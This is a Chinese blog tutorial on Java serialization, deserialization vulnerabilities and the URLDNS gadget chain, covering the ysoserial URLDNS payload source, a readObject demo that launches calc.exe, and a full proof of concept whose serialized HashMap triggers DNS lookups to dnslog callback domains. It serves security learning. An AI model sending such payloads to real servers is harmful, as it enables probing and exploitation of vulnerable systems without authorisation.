Turker
发布于 2025-07-20 / 19 阅读
0
0

Java安全——序列化与反序列化基础&URLDNS链

Java安全——序列化与反序列化基础&URLDNS链

#Java

一、Java序列化与反序列化

1.1 Java序列化与反序列化概述

反序列化漏洞是java安全中最常见的漏洞之一,学习反序列化漏洞的相关知识有助于帮我们掌握更多关于java安全系统性内容。

序列化是指把内存中的对象转化为字节序列,主要用于在不同程序之间传递和存储对象。而反序列化是指把字节序列重新转化为对象。例如,weblogic通过t3协议来和其他java程序之间传输数据,数据传输的方式就是通过序列化和反序列化来实现的,这也是导致weblogic经常爆出反序列化漏洞的根本原因。

1.2 Java序列化与反序列化基础

import java.io.*;  
  
class User implements Serializable{  
    private String name;  
    public User(String name) {  
        this.name = name;  
    }  
    // 方便打印查看类的信息  
    @Override  
    public String toString() {  
        return "User{name=" + name + '}';  
    }  
}  
public class Ser {  
    public static void main(String[] args) throws Exception {  
        User user = new User("Burger King");  
        String filename = "user.ser";  
        serialize(filename, user); // 把对象序列化保存到文件  
  
        User user1 = (User) unserialize(filename); // 从文件反序列化对象  
        System.out.println(user1);  
  
    }  
    // 序列化对象并保存到文件  
    public static void serialize(String filename, Object obj) throws Exception{  
        // 创建一个FIleOutputStream  
        FileOutputStream fos = new FileOutputStream(filename);  
        // 将这个FIleOutputStream封装到ObjectOutputStream中  
        ObjectOutputStream os = new ObjectOutputStream(fos);  
        // 调用writeObject方法,序列化对象到文件user.ser中  
        os.writeObject(obj);  
    }  
    // 从文件反序列化对象  
    public static Object unserialize(String filename) throws Exception{  
        //  创建一个FIleInutputStream  
        FileInputStream fis = new FileInputStream(filename);  
        // 将FileInputStream封装到ObjectInputStream中  
        ObjectInputStream oi = new ObjectInputStream(fis);  
        // 调用readObject从user.ser中反序列化出对象,还需要进行一下类型转换,默认是Object类型  
        return oi.readObject();  
    }  
}

上述代码定义了一个User类用于测试序列化和反序列化的过程。首先并不是所有的类都是可以进行序列化和反序列化的,要进行序列化和反序列化则该类必须继承自java.io.Serializable接口(该类的全部属性也必须继承自Serializable接口)。

序列化和反序列化的过程都是基于字节流来完成的。序列化是通过writeObject方法来把类对象转换为字符输出流,上述demo则是把User对象转化为文件字符输出流并保存成文件;反序列化是通过readObject方法来把字符输入转化为类对象,上述demo则是通过读取文件内容转化为User对象。在序列化和反序列化的过程中有两点需要注意:

  1. 类对象序列化之后不一定要保存成文件,也可以通过ByteArrayOutputStream保存为字节数组。
  2. 反序列化之后返回的数据类型为Object类型,如果要转化为序列化之前的类,需要进行强制类型转化。
    运行上面的Demo代码,会在当前项目根目录生成序列化之后保存的文件user.ser文件,通过xxd可以查看文件的16进制编码,如图所示。目前大部分的序列化之后的数据格式都是aced 0005,其中aced代表序列化协议,0005代表序列化协议版本。这个可以作为判断字符流是序列化数据的依据。![[Java安全-16.png]]
    一般来说,序列化之后的数据是不允许修改的,但是可以允许在不改变字符长度的情况下对属性值进行替换,可以把“Burger King”替换为“King Burger”。

1.3 反序列化漏洞

反序列化漏洞是指在反序列化过程中自动执行类中readObject方法导致的漏洞,类似于PHP反序列化时会自动执行__wakeup方法一样。为方便演示,我们重写一下User类:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {  
    // 反序列化时调用,读取对象的状态  
    ois.defaultReadObject();  
    Runtime.getRuntime.exec("calc.exe");  
}

通过上面的代码可以看出,如果readObject中执行了某种危险的操作,就可能导致反序列化漏洞。当然在实际环境中不可能有这么简单的情况,这里只是阐述一些原理性的东西。真实的环境下一定是一种利用链的调用关系,我们现在只是简单了解一下关于反序列化利用链。

反序列化调用链从本质来说就是构造一条从反序列化入口Source到危险方法Sink的调用链。反序列化的Source点一定是从readObject方法开始,但是Sink点却可以有很多种不同的类型。最常见的反序列化Sink是命令执行,但是也有可能是文件上传、SSRF、XXE等其他类型的Sink。

1.4 Java与PHP反序列化对比

反序列化调用链从本质来说就是构造一条从反序列化入口Source到危险方法Sink的调用链。反序列化的Source点一定是从readObject方法开始,但是Sink点却可以有很多种不同的类型。最常见的反序列化Sink是命令执行,但是也有可能是文件上传、SSRF、XXE等其他类型的Sink。

方法 功能
readObject 在反序列化的过程中会自动调用改方法,属于反序列化的入口Source。
toString 把对象当成字符串来操作是会自动调用该方法。
hashCode 返回该对象的hash值,集合类操作时会调用此方法。
equals 对象进行比较、排序、查找时可能可能调用此方法。
finalize 当垃圾回收器确定不存在对该对象的更多引用时,由对象的垃圾回收器调用此方法。

二、Java反序列化利用链

2.1 简介

我们通常把反序列化漏洞和反序列化利用链分开来看,有反序列化漏洞不一定有反序列化利用链(经常用shiro反序列化工具的人一定遇到过一种场景就是找到了key,但是找不到gadget,这也就是在这种场景下没有可利用的反序列化利用链)。如果我们向某个漏洞提交平台提交一个反序列化漏洞,但是不给反序列化利用链,那么平台大概率是不会接受这种漏洞的。

反序列化利用链是整个反序列化利用过程中最关键的一环,通常反序列化利用链需要借助常用的第三方jar包,其中最有名的就是CommonCollections利用链(简称CC链)。

2.2 环境

为了更方便初学者来学习反序列化利用链,我们首先要准备当前需要的实验环境。学习反序列化利用链最好的办法是参考ysoserial(https://github.com/frohoff/ysoserial),ysoserial是一个开源的集成化反序列化利用链工具,可以快速生成反序列化利用链payload。

我们的目的是不通过ysoserial框架,自己实现相应的反序列化利用链。我们搭建反序列化测试的基础环境,新建maven项目,添加项目依赖的jar包。

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->  
<dependency>  
    <groupId>commons-collections</groupId>  
    <artifactId>commons-collections</artifactId>  
    <version>3.1</version>  
</dependency>

2.3 一些利用链

2.3.1 URLDNS利用链

URLDNS链是JAVA众多利用链中最简单的一条利用链,非常适合初学者研究学习,具有下面的特点:

  1. 利用链只依赖jdk本身提供的类,不依赖其他第三方类,所以具有很高的通用性,可以用于判断目标是否存在反序列化漏洞。
  2. 利用链本身只能执行域名解析的操作,不能执行系统命令或者其他恶意操作。
    Ysoserial中关于URLDNS链的主要代码如下。这里面有一个很关键的点是使用了自定义的SilentURLStreamHandler类,为什么要使用这个自定义的类,我将在后面说明原因。
package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
 * A blog post with more details about this gadget chain is at the url below:
 *   https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
 *
 *   This was inspired by  Philippe Arteau @h3xstream, who wrote a blog
 *   posting describing how he modified the Java Commons Collections gadget
 *   in ysoserial to open a URL. This takes the same idea, but eliminates
 *   the dependency on Commons Collections and does a DNS lookup with just
 *   standard JDK classes.
 *
 *   The Java URL class has an interesting property on its equals and
 *   hashCode methods. The URL class will, as a side effect, do a DNS lookup
 *   during a comparison (either equals or hashCode).
 *
 *   As part of deserialization, HashMap calls hashCode on each key that it
 *   deserializes, so using a Java URL object as a serialized key allows
 *   it to trigger a DNS lookup.
 *
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
 *
 *
 */
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

我们主要看一下这个利用链:

 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

反序列化的入口点在 HashMapreadObject,在这个方法中会调用本类的 hash方法。
HashMap#readObject

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
            @SuppressWarnings({"rawtypes","unchecked"})
                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

继续跟进 hash方法,这里调用了 keyhashCode方法。key对应的值是我们传进去的一个 java.net.URL类的对象。

static final int hash(Object key) {
	int h;
	return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

继续跟进,调用 java.net.URL类的 hashCode方法,会调用 handler字段的 hashCode方法。
URL#hashCode

public synchronized int hashCode() {
	if (hashCode != -1)
		return hashCode;

	hashCode = handler.hashCode(this);
	return hashCode;
}

handler定义来自于 URLStreamHandler类,所以会调用 URLStreamHandler类的 handler方法。
URLStreamHandler#hashCode

protected int hashCode(URL u) {
	int h = 0;

	// Generate the protocol part.
	String protocol = u.getProtocol();
	if (protocol != null)
		h += protocol.hashCode();

	// Generate the host part.
	InetAddress addr = getHostAddress(u);
	if (addr != null) {
		h += addr.hashCode();
	} else {
		String host = u.getHost();
		if (host != null)
			h += host.toLowerCase().hashCode();
	}

	// Generate the file part.
	String file = u.getFile();
	if (file != null)
		h += file.hashCode();

	// Generate the port part.
	if (u.getPort() == -1)
		h += getDefaultPort();
	else
		h += u.getPort();

	// Generate the ref part.
	String ref = u.getRef();
	if (ref != null)
		h += ref.hashCode();

	return h;
}

这里的 getHostAddress就是触发dns请求的关键点。我们再关注一下参数,回到第一步看 key,既然 key是使用 readObject取出来的,在 writeObject一定会写入 key
java.util.HashMap#writeObject

private void writeObject(java.io.ObjectOutputStream s)  
    throws IOException {  
    int buckets = capacity();  
    // Write out the threshold, loadfactor, and any hidden stuff  
    s.defaultWriteObject();  
    s.writeInt(buckets);  
    s.writeInt(size);  
    internalWriteEntries(s);  
}

继续跟,java.util.HashMap#internalWriteEntries

void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {  
    Node<K,V>[] tab;  
    if (size > 0 && (tab = table) != null) {  
        for (int i = 0; i < tab.length; ++i) {  
            for (Node<K,V> e = tab[i]; e != null; e = e.next) {  
                s.writeObject(e.key);  
                s.writeObject(e.value);  
            }  
        }  
    }  
}

不难发现,这里的 key以及 value是从 tab中取的,而 tab的值即 HashMaptable的值。
此时我们如果想要修改 table的值,就需要调用 HashMap#put方法,而 HashMap#put方法中也会对 key调用一次 hash方法,所以在这里就会产生第一次dns查询:
HashMap#put:

    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }
import java.util.HashMap;
import java.net.URL;

public class Test {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://some-urldns-platform/");
        map.put(url,123); //此时会产生dns查询
    }
}

如何避免这一次dns查询呢?看 URL#hashCode

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

这里会先判断 hashCode是否为-1,如果不为-1则直接返回 hashCode,也就是说我们只要在put前修改URL的 hashCode为其他任意值,就可以在put时不触发dns查询。注意这里的hashCode是private修饰的,所以我们需要通过反射来修改其值。

import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;

public class Test {

    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://urldns.4ac35f51205046ab.dnslog.cc/");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true); //修改访问权限
        f.set(url,123); //设置hashCode值为123,这里可以是任何不为-1的数字
        System.out.println(url.hashCode()); // 获取hashCode的值,验证是否修改成功
        map.put(url,123); //调用map.put 此时将不会再触发dns查询
    }
}

那么完整POC就很容易了:

import java.io.FileInputStream;  
import java.io.FileOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.util.HashMap;  
import java.net.URL;  
  
public class URLDNS {  
    public static void main(String[] args) throws Exception {  
        String dnsurl = "http://123.i4whwa.dnslog.cn/";  
        HashMap urlMap = new HashMap();  
        URL url = new URL(dnsurl);  
        Field hashCodeField = Class.forName("java.net.URL").getDeclaredField("hashCode");  
        hashCodeField.setAccessible(true); // 修改访问权限  
        hashCodeField.set(url, 123); // 设置hashCode值为123,这里可以是任何不为-1的数字  
        System.out.println(url.hashCode()); // 获取hashCode的值,验证是否修改成功  
        urlMap.put(url, 123); // 调用map.put 此时将不会再触发dns查询  
        hashCodeField.set(url, -1); // 将url的hashCode重新设置为-1。确保在反序列化时能够成功触发  
        try {  
            FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");  
            ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);  
            outputStream.writeObject(urlMap);  
            outputStream.close();  
            fileOutputStream.close();  
  
            FileInputStream fileInputStream = new FileInputStream("./urldns.ser");  
            ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);  
            inputStream.readObject();  
            inputStream.close();  
            fileInputStream.close();  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
}

观察ysoserial的payload,发现有一个 SilentURLStreamHandler子类,重写了 getHostAddress方法,也规避了第一次的DNS查询。而反序列化时,由于这个handler属性为 transient,不能被序列化,所以读出来的依旧是初始值。两种方法都可以,但是ysoserial的看起来比较强一点。


评论